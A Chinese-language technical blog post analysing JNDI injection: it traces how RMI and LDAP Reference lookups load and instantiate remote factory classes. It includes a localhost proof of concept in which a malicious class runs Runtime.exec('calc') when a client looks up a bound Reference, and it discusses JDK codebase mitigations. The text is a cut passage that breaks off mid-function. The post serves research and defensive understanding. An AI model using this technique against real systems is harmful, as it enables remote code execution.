JNDI注入与动态类加载

从spring到fastjson，许多反序列化漏洞里面都出现了JNDI注入的身影，详细分析下它的原理以及在攻击中的意义。
首先是JNDI的概念，来自官网：

JNDI

Java 命名和目录接口 (JNDI) 为用 Java 编程语言编写的应用程序提供命名和目录功能。它旨在独立于任何特定的命名或目录服务实现。因此，可以通过一种通用方式访问各种服务——新的、新兴的和已经部署的服务。
JNDI 架构由 API（应用程序编程接口）和 SPI（服务提供者接口）组成。Java 应用程序使用此 API 来访问各种命名和目录服务。SPI 可以透明地插入各种命名和目录服务，允许使用 JNDI 技术的 API 的 Java 应用程序访问它们的服务。
大概可以明白是类似通过名字查找对象的功能，感觉和RMI有点类似。在官方文档中用Linux文件系统以及DNS系统来类比JNDI，都是一种查找功能。还是先看个demo，原生JNDI支持RMI、LDAP、COS、DNS，官网都有教程，这里以RMI为例。官网的用法有三部分，RMI服务端、JNDI服务端、JNDI客户端
RMI服务端：

1
2
3
4
5
6
7
public class RMIServer {
    public static void main(String[] args) throws RemoteException, AlreadyBoundException {
        RemoteObjImpl remoteObj = new RemoteObjImpl();
        Registry r = LocateRegistry.createRegistry(1099);
//        r.bind("remoteObj",remoteObj);
    }
}

JNDI服务端

1
2
3
4
5
6
7
8
9
10
11
public class JNDIRMIServer {
    public static void main(String[] args) throws Exception{
        Hashtable env = new Hashtable();
        env.put(Context.INITIAL_CONTEXT_FACTORY,
                "com.sun.jndi.rmi.registry.RegistryContextFactory");
        env.put(Context.PROVIDER_URL,
                "rmi://localhost:1099");
        InitialContext initialContext = new InitialContext(env);
        initialContext.bind("remoteObj",new RemoteObjImpl());
    }
}

JNDI客户端

1
2
3
4
5
6
7
8
9
public class JNDIRMIClient
{
    public static void main( String[] args ) throws Exception
    {
        InitialContext initialContext = new InitialContext();
        IRemoteObj remoteObj = (IRemoteObj) initialContext.lookup("rmi://localhost/remoteObj2");
        System.out.println(remoteObj.sayHello("hello"));
    }
}

运行后在JNDI客户端和JNDI服务端输出结果。
如果没有JNDI服务端而是直接把远程对象绑定到RMI服务端上，JNDI客户端一样是可以获取的。此时在RMI服务端输出结果。
实际和RMI的使用很类似，看上去只是一种封装。

RMI动态类加载

说回RMI，之前的RMI使用中，都是在客户端和服务端同时定义了相同的远程接口。那么如果客户端没有服务端那个类的定义怎么办呢？为了解决这种需求Java很贴心的设计了一个叫codebase的东西，codebase实际上就是一种URL，客户端可以从URL里面动态加载类。这样一来客户端就不需要定义和实现远程接口，非常方便。
但方便和安全总是对立的，显然这东西有很大的安全风险，所以在JDK7u21后，RMI默认配置java.rmi.server.useCodebaseOnly为true，也就是规定客户端不再接收服务端的codebase，而是必须只能从客户端自己从命令行或者代码里配置的codebase里面加载远程类，这样就避免了恶意服务端通过让客户端远程加载恶意类的方式来攻击客户端。
跟一下具体的实现，实际上在RMI的反序列化流程就会调用，比如Registry_Stub#lookup反序列化远程对象的时候，就会调用到MarshalInputStream#resolveClass

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
protected Class<?> resolveClass(ObjectStreamClass classDesc)
    throws IOException, ClassNotFoundException
{
    /*
     * Always read annotation written by MarshalOutputStream
     * describing where to load class from.
     */
    Object annotation = readLocation();

    String className = classDesc.getName();

    /*
     * Unless we were told to skip this consideration, choose the
     * "default loader" to simulate the default ObjectInputStream
     * resolveClass mechanism (that is, choose the first non-null
     * loader on the execution stack) to maximize the likelihood of
     * type compatibility with calling code.  (This consideration
     * is skipped during server parameter unmarshalling using the 1.2
     * stub protocol, because there would never be a non-null class
     * loader on the stack in that situation anyway.)
     */
    ClassLoader defaultLoader =
        skipDefaultResolveClass ? null : latestUserDefinedLoader();

    /*
     * If the "java.rmi.server.useCodebaseOnly" property was true or
     * useCodebaseOnly() was called or the annotation is not a String,
     * load from the local loader using the "java.rmi.server.codebase"
     * URL.  Otherwise, load from a loader using the codebase URL in
     * the annotation.
     */
    String codebase = null;
    if (!useCodebaseOnly && annotation instanceof String) {
        codebase = (String) annotation;
    }

    try {
        return RMIClassLoader.loadClass(codebase, className,
                                        defaultLoader);
    } catch (AccessControlException e) {
        return checkSunClass(className, e);
    } catch (ClassNotFoundException e) {
        /*
         * Fix for 4442373: delegate to ObjectInputStream.resolveClass()
         * to resolve primitive classes.
         */
        try {
            if (Character.isLowerCase(className.charAt(0)) &&
                className.indexOf('.') == -1)
            {
                return super.resolveClass(classDesc);
            }
        } catch (ClassNotFoundException e2) {
        }
        throw e;
    }
}

到一个RMIClassLoader的内部类

1
2
3
4
5
6
7
8
9
private static RMIClassLoaderSpi newDefaultProviderInstance() {
    return new RMIClassLoaderSpi() {
        public Class<?> loadClass(String codebase, String name,
                                  ClassLoader defaultLoader)
            throws MalformedURLException, ClassNotFoundException
        {
            return sun.rmi.server.LoaderHandler.loadClass(
                codebase, name, defaultLoader);
        }

LoaderHandler#loadClass

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public static Class<?> loadClass(String codebase, String name,
                                 ClassLoader defaultLoader)
    throws MalformedURLException, ClassNotFoundException
{
    if (loaderLog.isLoggable(Log.BRIEF)) {
        loaderLog.log(Log.BRIEF,
            "name = \"" + name + "\", " +
            "codebase = \"" + (codebase != null ? codebase : "") + "\"" +
            (defaultLoader != null ?
             ", defaultLoader = " + defaultLoader : ""));
    }

    URL[] urls;
    if (codebase != null) {
        urls = pathToURLs(codebase);
    } else {
        urls = getDefaultCodebaseURLs();
    }

    if (defaultLoader != null) {
        try {
            Class<?> c = loadClassForName(name, false, defaultLoader);
            if (loaderLog.isLoggable(Log.VERBOSE)) {
                loaderLog.log(Log.VERBOSE,
                    "class \"" + name + "\" found via defaultLoader, " +
                    "defined by " + c.getClassLoader());
            }
            return c;
        } catch (ClassNotFoundException e) {
        }
    }

    return loadClass(urls, name);
}

这里就看到了，如果没配置codebase就调用普通的Class.forName加载，配置了codebase的话也会先用本地类加载器去加载，找不到就调用下面的接收URL数组的loadClass：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
 private static Class<?> loadClass(URL[] urls, String name)
     throws ClassNotFoundException
 {
     ClassLoader parent = getRMIContextClassLoader();
     if (loaderLog.isLoggable(Log.VERBOSE)) {
         loaderLog.log(Log.VERBOSE,
             "(thread context class loader: " + parent + ")");
     }

     /*
      * If no security manager is set, disable access to RMI class
      * loaders and simply delegate request to the parent loader
      * (see bugid 4140511).
      */
     SecurityManager sm = System.getSecurityManager();
     if (sm == null) {
         try {
             Class<?> c = Class.forName(name, false, parent);
             if (loaderLog.isLoggable(Log.VERBOSE)) {
                 loaderLog.log(Log.VERBOSE,
                     "class \"" + name + "\" found via " +
                     "thread context class loader " +
                     "(no security manager: codebase disabled), " +
                     "defined by " + c.getClassLoader());
             }
             return c;
         } catch (ClassNotFoundException e) {
         	......
     }

     /*
      * Get or create the RMI class loader for this codebase URL path
      * and parent class loader pair.
      */
     Loader loader = lookupLoader(urls, parent);

     try {
         if (loader != null) {
             /*
              * Verify that the caller has permission to access this loader.
              */
             loader.checkPermissions();
         }
     } catch (SecurityException e) {
         /*
          * If the current access control context does not have permission
          * to access all of the URLs in the codebase path, wrap the
          * resulting security exception in a ClassNotFoundException, so
          * the caller can handle this outcome just like any other class
          * loading failure (see bugid 4146529).
          */
         try {
             /*
              * But first, check to see if the named class could have been
              * resolved without the security-offending codebase anyway;
              * if so, return successfully (see bugids 4191926 & 4349670).
              */
             Class<?> c = loadClassForName(name, false, parent);
             if (loaderLog.isLoggable(Log.VERBOSE)) {
                 loaderLog.log(Log.VERBOSE,
                     "class \"" + name + "\" found via " +
                     "thread context class loader " +
                     "(access to codebase denied), " +
                     "defined by " + c.getClassLoader());
             }
             return c;
         } catch (ClassNotFoundException unimportant) {
	......
         }
     }

     try {
         Class<?> c = loadClassForName(name, false, loader);
         if (loaderLog.isLoggable(Log.VERBOSE)) {
             loaderLog.log(Log.VERBOSE,
                 "class \"" + name + "\" " + "found via codebase, " +
                 "defined by " + c.getClassLoader());
         }
         return c;
     } catch (ClassNotFoundException e) {
......
     }
 }

     private void checkPermissions() {
         SecurityManager sm = System.getSecurityManager();
         if (sm != null) {           // should never be null?
             Enumeration<Permission> enum_ = permissions.elements();
             while (enum_.hasMoreElements()) {
                 sm.checkPermission(enum_.nextElement());
             }
         }
     }

里面还先得配置SecurityManager，不然还是用本地类加载器加载。基本是非常极端的环境，除非客户端主动开了这个功能，不然很难从默认配置进行攻击。

JNDI+RMI动态类加载

说了这么多RMI动态加载，和JNDI有啥关系呢？其实JNDI也提供了一种动态加载类的方式，就是使用Reference。所谓Reference，就是指不直接把对象绑定到上下文目录里，而是提供一个工厂类，使用时从这个工厂类里面创建出要调用的对象，并且这个工厂类是可以从codebase动态加载的。官网教程https://docs.oracle.com/javase/jndi/tutorial/objects/factory/interface.html
从这个描述就可以知道实际上这个过程会导致任意的类加载并实例化，进而导致任意代码执行。比如这样：
服务端

1
2
3
4
5
6
7
8
9
10
11
12
public class JNDIRMIServer {
    public static void main(String[] args) throws Exception{
        Hashtable env = new Hashtable();
        env.put(Context.INITIAL_CONTEXT_FACTORY,
                "com.sun.jndi.rmi.registry.RegistryContextFactory");
        env.put(Context.PROVIDER_URL,
                "rmi://localhost:1099");
        InitialContext initialContext = new InitialContext(env);
        Reference refObj = new Reference("TestRef", "TestRef", "http://localhost:7777/");
        initialContext.bind("remoteObj", refObj);
    }
}

使用JNDI需要创建一个InitialContext，然后配置属性来确定用什么服务，比如目前是RMI服务。
客户端

1
2
3
4
5
6
7
8
public class JNDIRMIClient
{
    public static void main( String[] args ) throws Exception
    {
        InitialContext initialContext = new InitialContext();
        initialContext.lookup("rmi://localhost:1099/remoteObj");
    }
}

在客户端的例子看出也可以不传配置，直接传一个带着协议的URL，JNDI可以自己分析协议确定对应的服务。有的文章说只有lookup和search可以，实际上服务端bind的时候也可以。
TestRef

1
2
3
4
5
public class TestRef {
    public TestRef() throws IOException {
        Runtime.getRuntime().exec("calc");
    }
}

客户端lookup的时候就会触发类的加载和实例化，导致代码执行。分析下具体调用流程，首先在InitialContext#lookup：

1
2
3
public Object lookup(String name) throws NamingException {
    return getURLOrDefaultInitCtx(name).lookup(name);
}

先看看getURLOrDefaultInitCtx

1
2
3
4
5
6
7
8
9
10
11
12
13
14
protected Context getURLOrDefaultInitCtx(String name)
    throws NamingException {
    if (NamingManager.hasInitialContextFactoryBuilder()) {
        return getDefaultInitCtx();
    }
    String scheme = getURLScheme(name);
    if (scheme != null) {
        Context ctx = NamingManager.getURLContext(scheme, myProps);
        if (ctx != null) {
            return ctx;
        }
    }
    return getDefaultInitCtx();
}

获取协议也就是rmi，然后调用NamingManager.getURLContext，返回的是一个rmiURLContext
那么实际调用的就是rmiURLContext#lookup，但是rmiURLContext并没有重写lookup，所以调用到GenericURLContext#lookup

1
2
3
4
5
6
7
8
9
public Object lookup(String name) throws NamingException {
    ResolveResult res = getRootURLContext(name, myEnv);
    Context ctx = (Context)res.getResolvedObj();
    try {
        return ctx.lookup(res.getRemainingName());
    } finally {
        ctx.close();
    }
}

具体流程不重要，之后调用了RegistryContext#lookup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public Object lookup(Name name) throws NamingException {
    if (name.isEmpty()) {
        return (new RegistryContext(this));
    }
    Remote obj;
    try {
        obj = registry.lookup(name.get(0));
    } catch (NotBoundException e) {
        throw (new NameNotFoundException(name.get(0)));
    } catch (RemoteException e) {
        throw (NamingException)wrapRemoteException(e).fillInStackTrace();
    }
    return (decodeObject(obj, name.getPrefix(1)));
}

可以看到调用了RegistryImpl_Stub#lookup，那么这里一样会有JRMP攻击和注册中心攻击客户端的问题。
之后调用decodeObject

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
private Object decodeObject(Remote r, Name name) throws NamingException {
    try {
        Object obj = (r instanceof RemoteReference)
                    ? ((RemoteReference)r).getReference()
                    : (Object)r;
        return NamingManager.getObjectInstance(obj, name, this,
                                               environment);
    } catch (NamingException e) {
        throw e;
    } catch (RemoteException e) {
        throw (NamingException)
            wrapRemoteException(e).fillInStackTrace();
    } catch (Exception e) {
        NamingException ne = new NamingException();
        ne.setRootCause(e);
        throw ne;
    }
}

首先做一个类型判断，如果r是RemoteReference类型，就把obj赋值为((RemoteReference)r).getReference()，r就是从注册中心获取到的stub对象，之前在JNDI服务端绑定的是一个Reference对象，但现在这里获取到的r是一个ReferenceWrapper_Stub对象，很明显在绑定时JNDI做了些默认处理，简单看一下，在RegistryContext#bind

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
public void bind(Name name, Object obj) throws NamingException {
    if (name.isEmpty()) {
        throw (new InvalidNameException(
                "RegistryContext: Cannot bind empty name"));
    }
    try {
        registry.bind(name.get(0), encodeObject(obj, name.getPrefix(1)));
    } catch (AlreadyBoundException e) {
        NamingException ne = new NameAlreadyBoundException(name.get(0));
        ne.setRootCause(e);
        throw ne;
    } catch (RemoteException e) {
        throw (NamingException)wrapRemoteException(e).fillInStackTrace();
    }
}

private Remote encodeObject(Object obj, Name name)
        throws NamingException, RemoteException
{
    obj = NamingManager.getStateToBind(obj, name, this, environment);

    if (obj instanceof Remote) {
        return (Remote)obj;
    }
    if (obj instanceof Reference) {
        return (new ReferenceWrapper((Reference)obj));
    }
    if (obj instanceof Referenceable) {
        return (new ReferenceWrapper(((Referenceable)obj).getReference()));
    }
    throw (new IllegalArgumentException(
            "RegistryContext: " +
            "object to bind must be Remote, Reference, or Referenceable"));
}

可以看到绑定的时候会自动套上一层ReferenceWrapper，网上很多例子抄来抄去都是手动写了一个，多此一举。ReferenceWrapper是继承了UnicastRemoteObject的RemoteReference对象，调用getReference方法时可以返回一个Reference，经过它的封装相当于把Reference对象转化为远程对象。注册中心正常进行绑定，客户端获取的时候一样是拿到stub对象。
看看这个stub，ReferenceWrapper_Stub这个类看来很不常用，整个openjdk里也没有源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public final class ReferenceWrapper_Stub extends RemoteStub implements RemoteReference, Remote {
    private static final long serialVersionUID = 2L;
    private static Method $method_getReference_0;

    static {
        try {
            $method_getReference_0 = (class$com$sun$jndi$rmi$registry$RemoteReference != null ? class$com$sun$jndi$rmi$registry$RemoteReference : (class$com$sun$jndi$rmi$registry$RemoteReference = class$("com.sun.jndi.rmi.registry.RemoteReference"))).getMethod("getReference");
        } catch (NoSuchMethodException var0) {
            throw new NoSuchMethodError("stub class initialization failed");
        }
    }

    public ReferenceWrapper_Stub(RemoteRef var1) {
        super(var1);
    }

    public Reference getReference() throws RemoteException, NamingException {
        try {
            Object var1 = super.ref.invoke(this, $method_getReference_0, (Object[])null, 3529874867989176284L);
            return (Reference)var1;
        } catch (RuntimeException var2) {
            throw var2;
        } catch (RemoteException var3) {
            throw var3;
        } catch (NamingException var4) {
            throw var4;
        } catch (Exception var5) {
            throw new UnexpectedException("undeclared checked exception", var5);
        }
    }
}

getReference调用了UnicastRef#invoke，相当于一次RMI客户端请求RMI服务端，反序列化获取调用结果。所以这里实际上也可以用RMI中服务端攻击客户端的攻击方式。
反序列化获取到这个Reference后，调用NamingManager#getObjectInstance

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
public static Object
    getObjectInstance(Object refInfo, Name name, Context nameCtx,
                      Hashtable<?,?> environment)
    throws Exception
{

    ObjectFactory factory;

    // Use builder if installed
    ObjectFactoryBuilder builder = getObjectFactoryBuilder();
    if (builder != null) {
        // builder must return non-null factory
        factory = builder.createObjectFactory(refInfo, environment);
        return factory.getObjectInstance(refInfo, name, nameCtx,
            environment);
    }

    // Use reference if possible
    Reference ref = null;
    if (refInfo instanceof Reference) {
        ref = (Reference) refInfo;
    } else if (refInfo instanceof Referenceable) {
        ref = ((Referenceable)(refInfo)).getReference();
    }

    Object answer;

    if (ref != null) {
        String f = ref.getFactoryClassName();
        if (f != null) {
            // if reference identifies a factory, use exclusively

            factory = getObjectFactoryFromReference(ref, f);
            if (factory != null) {
                return factory.getObjectInstance(ref, name, nameCtx,
                                                 environment);
            }
            // No factory found, so return original refInfo.
            // Will reach this point if factory class is not in
            // class path and reference does not contain a URL for it
            return refInfo;

        } else {
            // if reference has no factory, check for addresses
            // containing URLs

            answer = processURLAddrs(ref, name, nameCtx, environment);
            if (answer != null) {
                return answer;
            }
        }
    }

    // try using any specified factories
    answer =
        createObjectFromFactories(refInfo, name, nameCtx, environment);
    return (answer != null) ? answer : refInfo;
}

这个函数的功能就是从Reference里生成真正要调用的对象，生成对象的逻辑在getObjectFactoryFromReference

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
static ObjectFactory getObjectFactoryFromReference(
    Reference ref, String factoryName)
    throws IllegalAccessException,
    InstantiationException,
    MalformedURLException {
    Class<?> clas = null;

    // Try to use current class loader
    try {
         clas = helper.loadClass(factoryName);
    } catch (ClassNotFoundException e) {
        // ignore and continue
        // e.printStackTrace();
    }
    // All other exceptions are passed up.

    // Not in class path; try to use codebase
    String codebase;
    if (clas == null &&
            (codebase = ref.getFactoryClassLocation()) != null) {
        try {
            clas = helper.loadClass(factoryName, codebase);
        } catch (ClassNotFoundException e) {
        }
    }

    return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}

这里是重点了。首先会调用helper.loadClass，是com.sun.Naming.Internal.VersionHelper12#loadClass

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public Class<?> loadClass(String className) throws ClassNotFoundException {
    return loadClass(className, getContextClassLoader());
}

/**
 * Package private.
 *
 * This internal method is used with Thread Context Class Loader (TCCL),
 * please don't expose this method as public.
 */
Class<?> loadClass(String className, ClassLoader cl)
    throws ClassNotFoundException {
    Class<?> cls = Class.forName(className, true, cl);
    return cls;
}

/**
 * @param className A non-null fully qualified class name.
 * @param codebase A non-null, space-separated list of URL strings.
 */
public Class<?> loadClass(String className, String codebase)
        throws ClassNotFoundException, MalformedURLException {

    ClassLoader parent = getContextClassLoader();
    ClassLoader cl =
             URLClassLoader.newInstance(getUrlArray(codebase), parent);

    return loadClass(className, cl);
}

这里有三个重载的loadClass，第一个相当于包装，主要看第二个和第三个。第二个其实是把Class.forName包装成loadClass，而这两者的区别是forName会触发类初始化，也就是会调用静态代码块，实际上是有安全隐患的。而第三个loadClass就更直接了，直接用参数codebase，也就是Reference里的classFactoryLocation参数，里面的路径创建一个URLClassLoader，用它来加载该类。这样实际上就允许了远程类加载，相当于允许了远程任意代码执行。
而getObjectFactoryFromReference中的逻辑就是首先用本地AppClassLoader去加载factoryName类，找不到就用URLClassLoader去codeBase里的路径加载，最后实例化，当然这里就算不实例化也能执行代码，因为调用了forName。
这里执行完会报错，因为

1
2
3
4
5
factory = getObjectFactoryFromReference(ref, f);
if (factory != null) {
    return factory.getObjectInstance(ref, name, nameCtx,
                                     environment);
}

恶意类不能转化为ObjectFactory，想不报错就继承这个类就行了。也可以正常返回然后重写getObjectInstance在里面执行命令。
调试完就可以明白JNDI使用Reference代替远程对象的本意应该就是不通过反序列化直接传递对象，而是仅传递几个字符串，客户端用这几个名称去加载工厂类自己组装一个远程对象。把反序列化变成了远程类加载，如果不是为了加载客户端不存在的类的话，好像没有太大的意义。这里也没找到什么好的例子。
分析到这就可以结束了，如果能控制客户端加载一个恶意的Reference，就能在客户端执行任意代码。
和RMI的动态类加载一样，JAVA开发者意识到了其中的安全隐患，所以在jdk8u121之后，添加了一个com.sun.jndi.rmi.object.trustURLCodebase属性，对应RegistryContext#trustURLCodebase，如果这个属性为false就不能进行远程类加载。对应的代码变成了这样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
static final boolean trustURLCodebase;
static {
    // System property to control whether classes may be loaded from an
    // arbitrary URL codebase
    PrivilegedAction<String> act = () -> System.getProperty(
        "com.sun.jndi.rmi.object.trustURLCodebase", "false");
    String trust = AccessController.doPrivileged(act);
    trustURLCodebase = "true".equalsIgnoreCase(trust);
}

private Object decodeObject(Remote r, Name name) throws NamingException {
    try {
        Object obj = (r instanceof RemoteReference)
                    ? ((RemoteReference)r).getReference()
                    : (Object)r;

        /*
         * Classes may only be loaded from an arbitrary URL codebase when
         * the system property com.sun.jndi.rmi.object.trustURLCodebase
         * has been set to "true".
         */

        // Use reference if possible
        Reference ref = null;
        if (obj instanceof Reference) {
            ref = (Reference) obj;
        } else if (obj instanceof Referenceable) {
            ref = ((Referenceable)(obj)).getReference();
        }

        if (ref != null && ref.getFactoryClassLocation() != null &&
            !trustURLCodebase) {
            throw new ConfigurationException(
                "The object factory is untrusted. Set the system property" +
                " 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.");
        }
        return NamingManager.getObjectInstance(obj, name, this,
                                               environment);

可以看到是在RegistryContext里对com.sun.jndi.rmi.object.trustURLCodebase这个属性做了校验，但真正进行远程类加载的的NamingManager.getObjectInstance实际上没有做限制。也就是说虽然JNDI+RMI的方式进行远程加载就走不通了，但JNDI和其他服务的联动也许还有机会，oracle官网说JNDI内置支持LDAP、CORBA、RMI、DNS，挨个看一下哪些能动态类加载，并且看看有没有不受限制的。调试时JDK版本为8u141。

JNDI+LDAP动态类加载

先看LDAP，服务端用Apache Directory Studio起了个LDAP。翻了翻官方文档，和RMI类似，LDAP也是可以绑定java对象的，列举了以下几种对象都可以：
Java serializable objects
Referenceable objects and JNDI References
Objects with attributes (DirContext)
RMI (Java Remote Method Invocation) objects (including those that use IIOP)
CORBA objects
Java里LDAP好像必须结合JNDI去使用。原理其实很简单，但是不会写这玩意的查询，鼓捣了半天。先来个传序列化对象的，比如HashMap：
服务端，就是绑定一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public class JNDILDAPServer {
    public static void main(String[] args) throws Exception{
        Hashtable env = new Hashtable();
        env.put(Context.INITIAL_CONTEXT_FACTORY,
                "com.sun.jndi.ldap.LdapCtxFactory");
        env.put(Context.PROVIDER_URL,
                "ldap://localhost:10389");
        InitialContext initialContext = new InitialContext(env);
        HashMap map = new HashMap<>();
        map.put("key","value");
        initialContext.rebind("cn=test,ou=users,dc=example,dc=com", map);

    }
}
1
2
3
4
5
6
7
public class JNDILDAPClient {
    public static void main(String[] args) throws Exception{
        InitialContext initialContext = new InitialContext();
        Object obj = initialContext.lookup("ldap://localhost:10389/cn=test,ou=users,dc=example,dc=com");
        System.out.println(obj);
    }
}

跟一下调用流程，还是到GenericURLContext#lookup，然后到PartialCompositeContext#lookup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public Object lookup(Name name) throws NamingException {
    PartialCompositeContext ctx = this;
    Hashtable<?,?> env = p_getEnvironment();
    Continuation cont = new Continuation(name, env);
    Object answer;
    Name nm = name;

    try {
        answer = ctx.p_lookup(nm, cont);
        while (cont.isContinue()) {
            nm = cont.getRemainingName();
            ctx = getPCContext(cont);
            answer = ctx.p_lookup(nm, cont);
        }
    } catch (CannotProceedException e) {
        Context cctx = NamingManager.getContinuationContext(e);
        answer = cctx.lookup(e.getRemainingName());
    }
    return answer;
}

然后到ComponentContext#p_lookup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
protected Object p_lookup(Name name, Continuation cont) throws NamingException {
    Object ret = null;
    HeadTail res = p_resolveIntermediate(name, cont);
    switch (res.getStatus()) {
        case TERMINAL_NNS_COMPONENT:
            ret = c_lookup_nns(res.getHead(), cont);
            if (ret instanceof LinkRef) {
                cont.setContinue(ret, res.getHead(), this);
                ret = null;
            }
            break;

        case TERMINAL_COMPONENT:
            ret = c_lookup(res.getHead(), cont);
            if (ret instanceof LinkRef) {
                cont.setContinue(ret, res.getHead(), this);
                ret = null;
            }
            break;

        default:
            /* USE_CONTINUATION */
            /* pcont already set or exception thrown */
            break;
    }
    return ret;
}

又到LdapCtx#c_lookup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
protected Object c_lookup(Name name, Continuation cont)
        throws NamingException {
    cont.setError(this, name);
    Object obj = null;
    Attributes attrs;

    try {
        SearchControls cons = new SearchControls();
        cons.setSearchScope(SearchControls.OBJECT_SCOPE);
        cons.setReturningAttributes(null); // ask for all attributes
        cons.setReturningObjFlag(true); // need values to construct obj

        LdapResult answer = doSearchOnce(name, "(objectClass=*)", cons, true);
        respCtls = answer.resControls; // retrieve response controls

        // should get back 1 SearchResponse and 1 SearchResult

        if (answer.status != LdapClient.LDAP_SUCCESS) {
            processReturnCode(answer, name);
        }

        if (answer.entries == null || answer.entries.size() != 1) {
            // found it but got no attributes
            attrs = new BasicAttributes(LdapClient.caseIgnore);
        } else {
            LdapEntry entry = answer.entries.elementAt(0);
            attrs = entry.attributes;

            Vector<Control> entryCtls = entry.respCtls; // retrieve entry controls
            if (entryCtls != null) {
                appendVector(respCtls, entryCtls); // concatenate controls
            }
        }

        if (attrs.get(Obj.JAVA_ATTRIBUTES[Obj.CLASSNAME]) != null) {
            // serialized object or object reference
            obj = Obj.decodeObject(attrs);
        }
        if (obj == null) {
            obj = new LdapCtx(this, fullyQualifiedName(name));
        }
    } catch (LdapReferralException e) {
        if (handleReferrals == LdapClient.LDAP_REF_THROW)
            throw cont.fillInException(e);

        // process the referrals sequentially
        while (true) {

            LdapReferralContext refCtx =
                (LdapReferralContext)e.getReferralContext(envprops, bindCtls);
            // repeat the original operation at the new context
            try {

                return refCtx.lookup(name);

            } catch (LdapReferralException re) {
                e = re;
                continue;

            } finally {
                // Make sure we close referral context
                refCtx.close();
            }
        }

    } catch (NamingException e) {
        throw cont.fillInException(e);
    }

    try {
        return DirectoryManager.getObjectInstance(obj, name,
            this, envprops, attrs);

    } catch (NamingException e) {
        throw cont.fillInException(e);

    } catch (Exception e) {
        NamingException e2 = new NamingException(
                "problem generating object using object factory");
        e2.setRootCause(e);
        throw cont.fillInException(e2);
    }
}

这个类可以类比RegistryContext，是JNDI基于LDAP实现的核心逻辑类，那么重点看这个函数是否触发了远程类加载。很明显看到了两处敏感调用，一处Obj.decodeObject和一处DirectoryManager.getObjectInstance。当前满足if语句，会进入第一处，那么看一下：
Obj#decodeObject

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
/*
 * Decode an object from LDAP attribute(s).
 * The object may be a Reference, or a Serialized object.
 *
 * See encodeObject() and encodeReference() for details on formats
 * expected.
 */
static Object decodeObject(Attributes attrs)
    throws NamingException {

    Attribute attr;

    // Get codebase, which is used in all 3 cases.
    String[] codebases = getCodebases(attrs.get(JAVA_ATTRIBUTES[CODEBASE]));
    try {
        if ((attr = attrs.get(JAVA_ATTRIBUTES[SERIALIZED_DATA])) != null) {
            ClassLoader cl = helper.getURLClassLoader(codebases);
            return deserializeObject((byte[])attr.get(), cl);
        } else if ((attr = attrs.get(JAVA_ATTRIBUTES[REMOTE_LOC])) != null) {
            // For backward compatibility only
            return decodeRmiObject(
                (String)attrs.get(JAVA_ATTRIBUTES[CLASSNAME]).get(),
                (String)attr.get(), codebases);
        }

        attr = attrs.get(JAVA_ATTRIBUTES[OBJECT_CLASS]);
        if (attr != null &&
            (attr.contains(JAVA_OBJECT_CLASSES[REF_OBJECT]) ||
                attr.contains(JAVA_OBJECT_CLASSES_LOWER[REF_OBJECT]))) {
            return decodeReference(attrs, codebases);
        }
        return null;
    } catch (IOException e) {
        NamingException ne = new NamingException();
        ne.setRootCause(e);
        throw ne;
    }
}

注释里写了，从LDAP查询返回值里解码出一个Object或者Reference。上来先获取codebase，可以在绑定的时候new BasicAttributes(“javaCodebase”, codebase)添加。然后后续有三种还原对象的方法，都是用这个codebase加载。看一下这三种方法，先看第一个if，走正常Java反序列化：
首先用codebase创建一个URLClassLoader
com.sun.jndi.ldap.VersionHelper12#getURLClassLoader

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
private static final String TRUST_URL_CODEBASE_PROPERTY =
    "com.sun.jndi.ldap.object.trustURLCodebase";

// Determine whether classes may be loaded from an arbitrary URL code base.
private static final String trustURLCodebase =
    AccessController.doPrivileged(
        new PrivilegedAction<String>() {
            public String run() {
                return System.getProperty(TRUST_URL_CODEBASE_PROPERTY,
                        "false");
            }
        }
    );

ClassLoader getURLClassLoader(String[] url)
    throws MalformedURLException {
        ClassLoader parent = getContextClassLoader();
        /*
         * Classes may only be loaded from an arbitrary URL code base when
         * the system property com.sun.jndi.ldap.object.trustURLCodebase
         * has been set to "true".
         */
        if (url != null && "true".equalsIgnoreCase(trustURLCodebase)) {
